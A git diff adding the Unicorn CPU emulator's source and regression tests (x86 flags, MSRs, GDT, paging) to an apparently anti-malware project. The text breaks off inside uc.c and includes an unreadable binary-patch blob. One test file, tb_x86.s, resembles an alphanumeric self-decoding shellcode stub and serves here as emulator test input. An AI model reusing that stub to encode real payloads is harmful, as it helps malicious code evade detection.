U.Uc(U.UC_ARCH_X86, U.UC_MODE_64) + uc.reg_write(U.x86_const.UC_X86_REG_RIP, 0x6000b0) + uc.reg_write(U.x86_const.UC_X86_REG_EFLAGS, 0x246) + + uc.mem_map(0x600000, 0x1000) + uc.mem_write(0x6000b0, CODE) + + uc.emu_start(0x6000b0 + 6, 0, count=1) + + # Here's the original execution trace for this on qemu-user. + # + # $ SC='xor r14,r14; test r14d, r14d; jne $; hlt' + # $ asm --context amd64 --format elf $SC > example + # $ qemu-x86_64-static -d cpu,in_asm -singlestep ./test \ + # | grep -E 'RFL|^0x' + # 0x00000000006000b0: xor %r14,%r14 + # RIP=00000000006000b0 RFL=00000202 [-------] CPL=3 II=0 A20=1 SMM=0 HLT=0 + # 0x00000000006000b3: test %r14d,%r14d + # RIP=00000000006000b3 RFL=00000246 [---Z-P-] CPL=3 II=0 A20=1 SMM=0 HLT=0 + # 0x00000000006000b6: jne 0x6000b6 + # RIP=00000000006000b6 RFL=00000246 [---Z-P-] CPL=3 II=0 A20=1 SMM=0 HLT=0 + # 0x00000000006000b8: hlt + # RIP=00000000006000b8 RFL=00000246 [---Z-P-] CPL=3 II=0 A20=1 SMM=0 HLT=0 + self.assertEqual(0x6000b0 + 8, uc.reg_read(U.x86_const.UC_X86_REG_RIP)) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_eflags.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_eflags.py new file mode 100644 index 0000000..ca7c48d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_eflags.py @@ -0,0 +1,38 @@ +#!/usr/bin/python +import regress +import unicorn as U + +class WrongEFLAGS(regress.RegressTest): + def test_eflags(self): + # xor r14,r14 + CODE = 'M1\xf6' + + uc = U.Uc(U.UC_ARCH_X86, U.UC_MODE_64) + uc.reg_write(U.x86_const.UC_X86_REG_RIP, 0x6000b0) + uc.reg_write(U.x86_const.UC_X86_REG_EFLAGS, 0x200) + + uc.mem_map(0x600000, 0x1000) + uc.mem_write(0x6000b0, CODE) + uc.emu_start(0x6000b0, 0, count=1) + + + # Here's the original execution trace for this on actual hardware. + # + # (gdb) x/i $pc + # => 0x6000b0: xor %r14,%r14 + # (gdb) p/x $eflags + # $1 = 0x200 + # (gdb) p $eflags + # $2 = [ IF ] + # (gdb) si + # 0x00000000006000b3 in ?? () + # (gdb) p/x $eflags + # $3 = 0x246 + # (gdb) p $eflags + # $4 = [ PF ZF IF ] + + self.assertEqual(0x6000b3, uc.reg_read(U.x86_const.UC_X86_REG_RIP)) + self.assertEqual(0x246, uc.reg_read(U.x86_const.UC_X86_REG_EFLAGS)) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_msr.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_msr.py new file mode 100644 index 0000000..37853c5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_64_msr.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python +from unicorn import * +from unicorn.x86_const import * +from struct import pack + +import regress + + +CODE_ADDR = 0x40000 +CODE_SIZE = 0x1000 + +SCRATCH_ADDR = 0x80000 +SCRATCH_SIZE = 0x1000 + +SEGMENT_ADDR = 0x5000 +SEGMENT_SIZE = 0x1000 + + +FSMSR = 0xC0000100 +GSMSR = 0xC0000101 + + +def set_msr(uc, msr, value, scratch=SCRATCH_ADDR): + ''' + set the given model-specific register (MSR) to the given value. + this will clobber some memory at the given scratch address, as it emits some code. + ''' + # save clobbered registers + orax = uc.reg_read(UC_X86_REG_RAX) + ordx = uc.reg_read(UC_X86_REG_RDX) + orcx = uc.reg_read(UC_X86_REG_RCX) + orip = uc.reg_read(UC_X86_REG_RIP) + + # x86: wrmsr + buf = '\x0f\x30' + uc.mem_write(scratch, buf) + uc.reg_write(UC_X86_REG_RAX, value & 0xFFFFFFFF) + uc.reg_write(UC_X86_REG_RDX, (value >> 32) & 0xFFFFFFFF) + uc.reg_write(UC_X86_REG_RCX, msr & 0xFFFFFFFF) + uc.emu_start(scratch, scratch+len(buf), count=1) + + # restore clobbered registers + uc.reg_write(UC_X86_REG_RAX, orax) + uc.reg_write(UC_X86_REG_RDX, ordx) + uc.reg_write(UC_X86_REG_RCX, orcx) + uc.reg_write(UC_X86_REG_RIP, orip) + + +def get_msr(uc, msr, scratch=SCRATCH_ADDR): + ''' + fetch the contents of the given model-specific register (MSR). + this will clobber some memory at the given scratch address, as it emits some code. + ''' + # save clobbered registers + orax = uc.reg_read(UC_X86_REG_RAX) + ordx = uc.reg_read(UC_X86_REG_RDX) + orcx = uc.reg_read(UC_X86_REG_RCX) + orip = uc.reg_read(UC_X86_REG_RIP) + + # x86: rdmsr + buf = '\x0f\x32' + uc.mem_write(scratch, buf) + uc.reg_write(UC_X86_REG_RCX, msr & 0xFFFFFFFF) + uc.emu_start(scratch, scratch+len(buf), count=1) + eax = uc.reg_read(UC_X86_REG_EAX) + edx = uc.reg_read(UC_X86_REG_EDX) + + # restore clobbered registers + uc.reg_write(UC_X86_REG_RAX, orax) + uc.reg_write(UC_X86_REG_RDX, ordx) + uc.reg_write(UC_X86_REG_RCX, orcx) + uc.reg_write(UC_X86_REG_RIP, orip) + + return (edx << 32) | (eax & 0xFFFFFFFF) + + +def set_gs(uc, addr): + ''' + set the GS.base hidden descriptor-register field to the given address. + this enables referencing the gs segment on x86-64. + ''' + return set_msr(uc, GSMSR, addr) + + +def get_gs(uc): + ''' + fetch the GS.base hidden descriptor-register field. + ''' + return get_msr(uc, GSMSR) + + +def set_fs(uc, addr): + ''' + set the FS.base hidden descriptor-register field to the given address. + this enables referencing the fs segment on x86-64. + ''' + return set_msr(uc, FSMSR, addr) + + +def get_fs(uc): + ''' + fetch the FS.base hidden descriptor-register field. + ''' + return get_msr(uc, FSMSR) + + +class TestGetSetMSR(regress.RegressTest): + def test_msr(self): + uc = Uc(UC_ARCH_X86, UC_MODE_64) + uc.mem_map(SCRATCH_ADDR, SCRATCH_SIZE) + + set_msr(uc, FSMSR, 0x1000) + self.assertEqual(0x1000, get_msr(uc, FSMSR)) + + set_msr(uc, GSMSR, 0x2000) + self.assertEqual(0x2000, get_msr(uc, GSMSR)) + + def test_gs(self): + uc = Uc(UC_ARCH_X86, UC_MODE_64) + + uc.mem_map(SEGMENT_ADDR, SEGMENT_SIZE) + uc.mem_map(CODE_ADDR, CODE_SIZE) + uc.mem_map(SCRATCH_ADDR, SCRATCH_SIZE) + + code = '6548330C2518000000'.decode('hex') # x86-64: xor rcx, qword ptr gs:[0x18] + uc.mem_write(CODE_ADDR, code) + uc.mem_write(SEGMENT_ADDR+0x18, 'AAAAAAAA') + + set_gs(uc, SEGMENT_ADDR) + self.assertEqual(SEGMENT_ADDR, get_gs(uc)) + + uc.emu_start(CODE_ADDR, CODE_ADDR+len(code)) + + self.assertEqual(uc.reg_read(UC_X86_REG_RCX), 0x4141414141414141) + + def test_fs(self): + uc = Uc(UC_ARCH_X86, UC_MODE_64) + + uc.mem_map(SEGMENT_ADDR, SEGMENT_SIZE) + uc.mem_map(CODE_ADDR, CODE_SIZE) + uc.mem_map(SCRATCH_ADDR, SCRATCH_SIZE) + + code = '6448330C2518000000'.decode('hex') # x86-64: xor rcx, qword ptr fs:[0x18] + uc.mem_write(CODE_ADDR, code) + uc.mem_write(SEGMENT_ADDR+0x18, 'AAAAAAAA') + + set_fs(uc, SEGMENT_ADDR) + self.assertEqual(SEGMENT_ADDR, get_fs(uc)) + + uc.emu_start(CODE_ADDR, CODE_ADDR+len(code)) + + self.assertEqual(uc.reg_read(UC_X86_REG_RCX), 0x4141414141414141) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_eflags.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_eflags.py new file mode 100644 index 0000000..486f6d0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_eflags.py @@ -0,0 +1,38 @@ +#!/usr/bin/python +import regress +import unicorn as U + +class WrongEFLAGS2(regress.RegressTest): + def test_eflags(self): + # imul eax, ebx + CODE = '\x0f\xaf\xc3' + + uc = U.Uc(U.UC_ARCH_X86, U.UC_MODE_32) + uc.reg_write(U.x86_const.UC_X86_REG_EAX, 16) + uc.reg_write(U.x86_const.UC_X86_REG_EBX, 1) + uc.reg_write(U.x86_const.UC_X86_REG_EFLAGS, 0x292) + + uc.mem_map(0x600000, 0x1000) + uc.mem_write(0x6000b0, CODE) + uc.emu_start(0x6000b0, 0, count=1) + + + # Here's the original execution trace for this on actual hardware. + # + # (gdb) x/i $eip + # => 0x804aae5: imul eax,DWORD PTR [ebp-0x8] + # (gdb) p/x $eax + # $2 = 0x10 + # (gdb) x/wx $ebp-8 + # 0xbaaaad4c: 0x00000001 + # (gdb) p/x $eflags + # $3 = 0x292 + # (gdb) si + # 0x0804aae9 in ?? () + # (gdb) p/x $eflags + # $4 = 0x202 + + self.assertEqual(0x202, uc.reg_read(U.x86_const.UC_X86_REG_EFLAGS)) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_fldt_fsqrt.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_fldt_fsqrt.py new file mode 100644 index 0000000..036ba33 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_fldt_fsqrt.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python +from unicorn import * +from unicorn.x86_const import * +from struct import pack + +import regress + +CODE_ADDR = 0x1000000 +CODE = ( + '\xb8\x00\x00\x00\x02' # mov eax, 0x2000000 + '\xdb\x28' # fldt [eax] + '\xd9\xfa' # fsqrt +) + +DATA_ADDR = 0x2000000 +DATA = '\0\0\0\0\0\0\0\0\0\1' + +class FldtFsqrt(regress.RegressTest): + def test_fldt_fsqrt(self): + uc = Uc(UC_ARCH_X86, UC_MODE_32) + + uc.mem_map(CODE_ADDR, 0x1000) + uc.mem_write(CODE_ADDR, CODE) + + uc.mem_map(DATA_ADDR, 0x1000) + uc.mem_write(DATA_ADDR, DATA) + + uc.emu_start(CODE_ADDR, CODE_ADDR + len(CODE), 10000, 10) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_gdt.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_gdt.py new file mode 100644 index 0000000..5f4234a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/x86_gdt.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python +from unicorn import * +from unicorn.x86_const import * +from struct import pack + +import regress + +F_GRANULARITY = 0x8 +F_PROT_32 = 0x4 +F_LONG = 0x2 +F_AVAILABLE = 0x1 + +A_PRESENT = 0x80 + +A_PRIV_3 = 0x60 +A_PRIV_2 = 0x40 +A_PRIV_1 = 0x20 +A_PRIV_0 = 0x0 + +A_CODE = 0x10 +A_DATA = 0x10 +A_TSS = 0x0 +A_GATE = 0x0 + +A_DATA_WRITABLE = 0x2 +A_CODE_READABLE = 0x2 + +A_DIR_CON_BIT = 0x4 + +S_GDT = 0x0 +S_LDT = 0x4 +S_PRIV_3 = 0x3 +S_PRIV_2 = 0x2 +S_PRIV_1 = 0x1 +S_PRIV_0 = 0x0 + +CODE = '65330d18000000'.decode('hex') # xor ecx, dword ptr gs:[0x18] + +def create_selector(idx, flags): + to_ret = flags + to_ret |= idx << 3 + return to_ret + +def create_gdt_entry(base, limit, access, flags): + + to_ret = limit & 0xffff; + to_ret |= (base & 0xffffff) << 16; + to_ret |= (access & 0xff) << 40; + to_ret |= ((limit >> 16) & 0xf) << 48; + to_ret |= (flags & 0xff) << 52; + to_ret |= ((base >> 24) & 0xff) << 56; + return pack('W><-Eh0!UM-arjCLz?X950{x};s{q1HA58H!5PED^ zFZqo7Lh*})ckNj59VsKN&&qNWQQG?17!Fm7Z|>r^D#m-wW%Ue`+7C+@a2KUY>xoPM z3h%{H-mAL0B-cOLV_ z0nYR5wmey4&oqM>vW%pur84n^nNOs5C}pI!vw6~znM_u*gq{;U-$=(v(_)q-qefg8 zI#JNdr-U8@id+|Wr6-Jifn)zI6R6~Sb3=JIZZ@G( +#include + + +#define OK(x) {uc_err __err; if ((__err = x)) { fprintf(stderr, "%s", uc_strerror(__err)); assert(false); } } +static void test_vmovdqu(void) +{ + uc_engine *uc; + + int r_esi = 0x1234; + int r_edi = 0x7890; + + uint64_t r_xmm0[2] = {0x08090a0b0c0d0e0f, 0x0001020304050607}; + + /* 128 bit at address esi (0x1234) this should not be read into xmm0 */ + char mem_esi[] = { '\xE7', '\x1D', '\xA7', '\xE8', '\x88', '\xE4', '\x94', '\x40', '\x54', '\x74', '\x24', '\x97', '\x1F', '\x2E', '\xB6', '\x40' }; + + /* 128 bit at address edi (0x7890) this SHOULD be read into xmm0 */ + char mem_edi[] = { '\xAD', '\xFA', '\x5C', '\x6D', '\x45', '\x4A', '\x93', '\x40', '\xD2', '\x00', '\xDE', '\x02', '\x89', '\xE8', '\x94', '\x40' }; + + /* vmovdqu xmm0, [edi] */ + char code[] = { '\xC5', '\xFA', '\x6F', '\x07' }; + + /* initialize memory and run emulation */ + OK(uc_open(UC_ARCH_X86, UC_MODE_32, &uc)); + OK(uc_mem_map(uc, 0, 2 * 1024 * 1024, UC_PROT_ALL)); + + OK(uc_mem_write(uc, 0, code, sizeof(code) / sizeof(code[0]))); + + // initialize machine registers; + OK(uc_reg_write(uc, UC_X86_REG_XMM0, &r_xmm0)); + + OK(uc_reg_write(uc, UC_X86_REG_ESI, &r_esi)); + OK(uc_reg_write(uc, UC_X86_REG_EDI, &r_edi)); + OK(uc_mem_write(uc, r_esi, mem_esi, sizeof(mem_esi) / sizeof(mem_esi[0]))); + OK(uc_mem_write(uc, r_edi, mem_edi, sizeof(mem_edi) / sizeof(mem_edi[0]))); + + OK(uc_emu_start(uc, 0, sizeof(code) / sizeof(code[0]), 0, 0)); + + /* Read xmm0 after emulation */ + OK(uc_reg_read(uc, UC_X86_REG_XMM0, &r_xmm0)); + + + assert(0x4094e88902de00d2 == r_xmm0[0] && 0x40934a456d5cfaad == r_xmm0[1]); + + OK(uc_close(uc)); +} + + +/* TODO: Add more vex prefixed instructions + Suggestions: vxorpd, vxorps, vandpd, ... */ +int main(int argc, char **argv, char **envp) +{ + test_vmovdqu(); + return 0; +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/unit/.gitignore b/ai_anti_malware/unicorn/unicorn-master/tests/unit/.gitignore new file mode 100644 index 0000000..d40da5f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/unit/.gitignore @@ -0,0 +1,3 @@ +!*.c +test_* +*.bin diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/unit/Makefile b/ai_anti_malware/unicorn/unicorn-master/tests/unit/Makefile new file mode 100644 index 0000000..c0704d3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/unit/Makefile @@ -0,0 +1,65 @@ +CFLAGS += -Wall -Werror -Wno-unused-function -g +CFLAGS += -D__USE_MINGW_ANSI_STDIO=1 +CFLAGS += -L ../../ -I ../../include +CFLAGS += -L ../../cmocka/src -I ../../cmocka/include +CFLAGS += -L /usr/local/lib -I /usr/local/include +ASFLAGS += --32 +OBJCOPY = objcopy + +UNAME_S := $(shell uname -s) +UNAME_M := $(shell uname -m) +LDLIBS += -pthread +ifeq ($(UNAME_S), Linux) +LDLIBS += -lrt +else ifeq ($(UNAME_S), Darwin) +OBJCOPY = gobjcopy +ASFLAGS = -arch i386 +endif + +LDLIBS += -lcmocka -lunicorn + +EXECUTE_VARS = LD_LIBRARY_PATH=../../cmocka/src:../../ DYLD_LIBRARY_PATH=../../ + +ifeq ($(UNICORN_ASAN),yes) +CC = clang -fsanitize=address -fno-omit-frame-pointer +CXX = clang++ -fsanitize=address -fno-omit-frame-pointer +AR = llvm-ar +LDFLAGS := -fsanitize=address ${LDFLAGS} +endif + +ALL_TESTS_SOURCES = $(wildcard *.c) +TEST_ASSEMBLY = $(wildcard *.s) +TEST_PROGS = $(TEST_ASSEMBLY:%.s=%.o) +TEST_BINS = $(TEST_PROGS:%.o=%.bin) +ALL_TESTS = $(ALL_TESTS_SOURCES:%.c=%) + +ifneq (,$(findstring x86,$(UNAME_M))) +ALL_TESTS += $(TEST_BINS) +endif + +.PHONY: all +all: ${ALL_TESTS} + +.PHONY: clean +clean: + rm -rf ${ALL_TESTS} + +%.bin: %.o + ${OBJCOPY} -O binary $^ $@ + hexdump -C $@ + +.PHONY: test +test: all + ${EXECUTE_VARS} ./test_sanity + ${EXECUTE_VARS} ./test_x86 + ${EXECUTE_VARS} ./test_mem_map + ${EXECUTE_VARS} ./test_mem_map_ptr + ${EXECUTE_VARS} ./test_mem_high + ${EXECUTE_VARS} ./test_multihook + ${EXECUTE_VARS} ./test_pc_change + ${EXECUTE_VARS} ./test_hookcounts + echo "skipping test_tb_x86" + echo "skipping test_x86_soft_paging" + echo "skipping test_hang" + echo "skipping test_x86_sh1_enter_leave" + echo "skipping test_x86_rip_bug" diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/unit/gdt_idx.s b/ai_anti_malware/unicorn/unicorn-master/tests/unit/gdt_idx.s new file mode 100644 index 0000000..42e2462 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/unit/gdt_idx.s @@ -0,0 +1,3 @@ +.text +sidt (esp) +sgdt (esp+6) diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/unit/high_address.s b/ai_anti_malware/unicorn/unicorn-master/tests/unit/high_address.s new file mode 100644 index 0000000..de92144 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/unit/high_address.s @@ -0,0 +1,6 @@ +dec %eax +mov (%eax), %eax +nop +nop +nop +nop diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/unit/pc_change.s b/ai_anti_malware/unicorn/unicorn-master/tests/unit/pc_change.s new file mode 100644 index 0000000..415e3cf --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/unit/pc_change.s @@ -0,0 +1,9 @@ +.text +inc %ecx +inc %ecx +inc %ecx +inc %ecx +inc %ecx +inc %ecx +inc %edx +inc %edx diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/unit/tb_x86.s b/ai_anti_malware/unicorn/unicorn-master/tests/unit/tb_x86.s new file mode 100644 index 0000000..8ef54c0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/unit/tb_x86.s @@ -0,0 +1,90 @@ +mov %esp,%ecx +fxch %st(5) +fnstenv -0xc(%ecx) +pop %ebp +push %ebp +pop %ecx +dec %ecx +dec %ecx +dec %ecx +dec %ecx +dec %ecx +dec %ecx +dec %ecx +dec %ecx +dec %ecx +dec %ecx +inc %ebx +inc %ebx +inc %ebx +inc %ebx +inc %ebx +inc %ebx +aaa +push %ecx +pop %edx +push $0x41 +pop %eax +push %eax +xor %al,0x30(%ecx) +inc %ecx +imul $0x51,0x41(%ecx),%eax +xor 0x42(%ecx),%al +xor 0x42(%edx),%al +xor %al,0x42(%edx) +inc %ecx +inc %edx +pop %eax +push %eax +cmp %al,0x42(%ecx) +jne .+0x4c +dec %ecx +push %ecx +push %ecx +push %ecx +push %edx +inc %edi +xor 0x34(%edi),%eax +push %ecx +push %ebp +push %ecx +push %esi +push %eax +inc %edi +inc %edi +cmp %al,0x39(%edi) +push %eax +dec %edx +push %eax +dec %ebx +push %eax +dec %esp +push %eax +dec %ebp +push %eax +dec %esi +push %eax +dec %edi +push %eax +push %eax +push %eax +xor %eax, 0x42(%edi) +inc %edi +inc %edx +push %eax +xor $0x50,%al +pop %edx +push %eax +inc %ebp +push %ecx +push %edx +inc %esi +xor 0x31(%edi),%al +push %eax +dec %ebp +push %ecx +push %ecx +push %eax +dec %esi +inc %ecx +inc %ecx diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/unit/unicorn_test.h b/ai_anti_malware/unicorn/unicorn-master/tests/unit/unicorn_test.h new file mode 100644 index 0000000..fa695d9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/unit/unicorn_test.h @@ -0,0 +1,57 @@ +#ifndef UNICORN_TEST_H +#define UNICORN_TEST_H + +#include +#include +#include +#include +#include +#include + +/** + * Assert that err matches expect + */ +#define uc_assert_err(expect, err) \ +do { \ + uc_err __err = err; \ + if (__err != expect) { \ + fail_msg("%s", uc_strerror(__err)); \ + } \ +} while (0) + +/** + * Assert that err is UC_ERR_OK + */ +#define uc_assert_success(err) uc_assert_err(UC_ERR_OK, err) + +/** + * Assert that err is anything but UC_ERR_OK + * + * Note: Better to use uc_assert_err(, err), + * as this serves to document which errors a function will return + * in various scenarios. + */ +#define uc_assert_fail(err) \ +do { \ + uc_err __err = err; \ + if (__err == UC_ERR_OK) { \ + fail_msg("%s", uc_strerror(__err)); \ + } \ +} while (0) + +char * read_file(const char *filename, struct stat *info) { + stat(filename, info); + char *code = malloc(info->st_size); + if (code == NULL) { + return NULL; + } + FILE *fp = fopen(filename, "r"); + if (fp == NULL) { + free(code); + return NULL; + } + fread(code, info->st_size, 1, fp); + return code; +} + +#endif /* UNICORN_TEST_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/unit/x86_soft_paging_low.s b/ai_anti_malware/unicorn/unicorn-master/tests/unit/x86_soft_paging_low.s new file mode 100644 index 0000000..7b25745 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/unit/x86_soft_paging_low.s @@ -0,0 +1,49 @@ +// Zero memory for page directories and page tables +mov $0x1000,%edi +mov $0x1000,%ecx +xor %eax,%eax +rep stos %eax,(%edi) + +// Load DWORD [0x4000] with 0xDEADBEEF to retrieve later +mov $0x4000,%edi +mov $0xBEEF,%eax +mov %eax, (%edi) + +// Identify map the first 4MiB of memory +mov $0x400,%ecx +mov $0x2000,%edi +mov $3, %eax +loop: +stos %eax,(%edi) +add $0x1000,%eax +loop loop + +// Map phyiscal address 0x4000 to cirtual address 0x7FF000 +mov $0x3ffc,%edi +mov $0x4003,%eax +mov %eax, (%edi) + +// Add page tables into page directory +mov $0x1000, %edi +mov $0x2003, %eax +mov %eax, (%edi) +mov $0x1004, %edi +mov $0x3003, %eax +mov %eax, (%edi) + +// Load the page directory register +mov $0x1000, %eax +mov %eax, %cr3 + +// Enable paging +mov %cr0, %eax +or $0x80000000, %eax + +// Clear EAX +mov %eax, %cr0 + +//Load using virtual memory address; EAX = 0xBEEF +xor %eax,%eax +mov $0x7FF000, %esi +mov (%esi), %eax +hlt diff --git a/ai_anti_malware/unicorn/unicorn-master/uc.c b/ai_anti_malware/unicorn/unicorn-master/uc.c new file mode 100644 index 0000000..eebce1f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/uc.c @@ -0,0 +1,1404 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#if defined(UNICORN_HAS_OSXKERNEL) +#include +#else +#include +#include +#include +#endif + +#include // nanosleep + +#include + +#include "uc_priv.h" + +// target specific headers +#include "qemu/target-m68k/unicorn.h" +#include "qemu/target-i386/unicorn.h" +#include "qemu/target-arm/unicorn.h" +#include "qemu/target-mips/unicorn.h" +#include "qemu/target-sparc/unicorn.h" + +#include "qemu/include/hw/boards.h" +#include "qemu/include/qemu/queue.h" + +static void free_table(gpointer key, gpointer value, gpointer data) +{ + TypeInfo *ti = (TypeInfo*) value; + g_free((void *) ti->class_); + g_free((void *) ti->name); + g_free((void *) ti->parent); + g_free((void *) ti); +} + +UNICORN_EXPORT +unsigned int uc_version(unsigned int *major, unsigned int *minor) +{ + if (major != NULL && minor != NULL) { + *major = UC_API_MAJOR; + *minor = UC_API_MINOR; + } + + return (UC_API_MAJOR << 8) + UC_API_MINOR; +} + + +UNICORN_EXPORT +uc_err uc_errno(uc_engine *uc) +{ + return uc->errnum; +} + + +UNICORN_EXPORT +const char *uc_strerror(uc_err code) +{ + switch(code) { + default: + return "Unknown error code"; + case UC_ERR_OK: + return "OK (UC_ERR_OK)"; + case UC_ERR_NOMEM: + return "No memory available or memory not present (UC_ERR_NOMEM)"; + case UC_ERR_ARCH: + return "Invalid/unsupported architecture (UC_ERR_ARCH)"; + case UC_ERR_HANDLE: + return "Invalid handle (UC_ERR_HANDLE)"; + case UC_ERR_MODE: + return "Invalid mode (UC_ERR_MODE)"; + case UC_ERR_VERSION: + return "Different API version between core & binding (UC_ERR_VERSION)"; + case UC_ERR_READ_UNMAPPED: + return "Invalid memory read (UC_ERR_READ_UNMAPPED)"; + case UC_ERR_WRITE_UNMAPPED: + return "Invalid memory write (UC_ERR_WRITE_UNMAPPED)"; + case UC_ERR_FETCH_UNMAPPED: + return "Invalid memory fetch (UC_ERR_FETCH_UNMAPPED)"; + case UC_ERR_HOOK: + return "Invalid hook type (UC_ERR_HOOK)"; + case UC_ERR_INSN_INVALID: + return "Invalid instruction (UC_ERR_INSN_INVALID)"; + case UC_ERR_MAP: + return "Invalid memory mapping (UC_ERR_MAP)"; + case UC_ERR_WRITE_PROT: + return "Write to write-protected memory (UC_ERR_WRITE_PROT)"; + case UC_ERR_READ_PROT: + return "Read from non-readable memory (UC_ERR_READ_PROT)"; + case UC_ERR_FETCH_PROT: + return "Fetch from non-executable memory (UC_ERR_FETCH_PROT)"; + case UC_ERR_ARG: + return "Invalid argument (UC_ERR_ARG)"; + case UC_ERR_READ_UNALIGNED: + return "Read from unaligned memory (UC_ERR_READ_UNALIGNED)"; + case UC_ERR_WRITE_UNALIGNED: + return "Write to unaligned memory (UC_ERR_WRITE_UNALIGNED)"; + case UC_ERR_FETCH_UNALIGNED: + return "Fetch from unaligned memory (UC_ERR_FETCH_UNALIGNED)"; + case UC_ERR_RESOURCE: + return "Insufficient resource (UC_ERR_RESOURCE)"; + case UC_ERR_EXCEPTION: + return "Unhandled CPU exception (UC_ERR_EXCEPTION)"; + } +} + + +UNICORN_EXPORT +bool uc_arch_supported(uc_arch arch) +{ + switch (arch) { +#ifdef UNICORN_HAS_ARM + case UC_ARCH_ARM: return true; +#endif +#ifdef UNICORN_HAS_ARM64 + case UC_ARCH_ARM64: return true; +#endif +#ifdef UNICORN_HAS_M68K + case UC_ARCH_M68K: return true; +#endif +#ifdef UNICORN_HAS_MIPS + case UC_ARCH_MIPS: return true; +#endif +#ifdef UNICORN_HAS_PPC + case UC_ARCH_PPC: return true; +#endif +#ifdef UNICORN_HAS_SPARC + case UC_ARCH_SPARC: return true; +#endif +#ifdef UNICORN_HAS_X86 + case UC_ARCH_X86: return true; +#endif + /* Invalid or disabled arch */ + default: return false; + } +} + + +UNICORN_EXPORT +uc_err uc_open(uc_arch arch, uc_mode mode, uc_engine **result) +{ + struct uc_struct *uc; + + if (arch < UC_ARCH_MAX) { + uc = calloc(1, sizeof(*uc)); + if (!uc) { + // memory insufficient + return UC_ERR_NOMEM; + } + + uc->errnum = UC_ERR_OK; + uc->arch = arch; + uc->mode = mode; + + // uc->ram_list = { .blocks = QTAILQ_HEAD_INITIALIZER(ram_list.blocks) }; + uc->ram_list.blocks.tqh_first = NULL; + uc->ram_list.blocks.tqh_last = &(uc->ram_list.blocks.tqh_first); + + uc->memory_listeners.tqh_first = NULL; + uc->memory_listeners.tqh_last = &uc->memory_listeners.tqh_first; + + uc->address_spaces.tqh_first = NULL; + uc->address_spaces.tqh_last = &uc->address_spaces.tqh_first; + + switch(arch) { + default: + break; +#ifdef UNICORN_HAS_M68K + case UC_ARCH_M68K: + if ((mode & ~UC_MODE_M68K_MASK) || + !(mode & UC_MODE_BIG_ENDIAN)) { + free(uc); + return UC_ERR_MODE; + } + uc->init_arch = m68k_uc_init; + break; +#endif +#ifdef UNICORN_HAS_X86 + case UC_ARCH_X86: + if ((mode & ~UC_MODE_X86_MASK) || + (mode & UC_MODE_BIG_ENDIAN) || + !(mode & (UC_MODE_16|UC_MODE_32|UC_MODE_64))) { + free(uc); + return UC_ERR_MODE; + } + uc->init_arch = x86_uc_init; + break; +#endif +#ifdef UNICORN_HAS_ARM + case UC_ARCH_ARM: + if ((mode & ~UC_MODE_ARM_MASK)) { + free(uc); + return UC_ERR_MODE; + } + if (mode & UC_MODE_BIG_ENDIAN) { +#ifdef UNICORN_HAS_ARMEB + uc->init_arch = armeb_uc_init; +#else + return UC_ERR_MODE; +#endif + } else { + uc->init_arch = arm_uc_init; + } + + if (mode & UC_MODE_THUMB) + uc->thumb = 1; + break; +#endif +#ifdef UNICORN_HAS_ARM64 + case UC_ARCH_ARM64: + if (mode & ~UC_MODE_ARM_MASK) { + free(uc); + return UC_ERR_MODE; + } + if (mode & UC_MODE_BIG_ENDIAN) { + uc->init_arch = arm64eb_uc_init; + } else { + uc->init_arch = arm64_uc_init; + } + break; +#endif + +#if defined(UNICORN_HAS_MIPS) || defined(UNICORN_HAS_MIPSEL) || defined(UNICORN_HAS_MIPS64) || defined(UNICORN_HAS_MIPS64EL) + case UC_ARCH_MIPS: + if ((mode & ~UC_MODE_MIPS_MASK) || + !(mode & (UC_MODE_MIPS32|UC_MODE_MIPS64))) { + free(uc); + return UC_ERR_MODE; + } + if (mode & UC_MODE_BIG_ENDIAN) { +#ifdef UNICORN_HAS_MIPS + if (mode & UC_MODE_MIPS32) + uc->init_arch = mips_uc_init; +#endif +#ifdef UNICORN_HAS_MIPS64 + if (mode & UC_MODE_MIPS64) + uc->init_arch = mips64_uc_init; +#endif + } else { // little endian +#ifdef UNICORN_HAS_MIPSEL + if (mode & UC_MODE_MIPS32) + uc->init_arch = mipsel_uc_init; +#endif +#ifdef 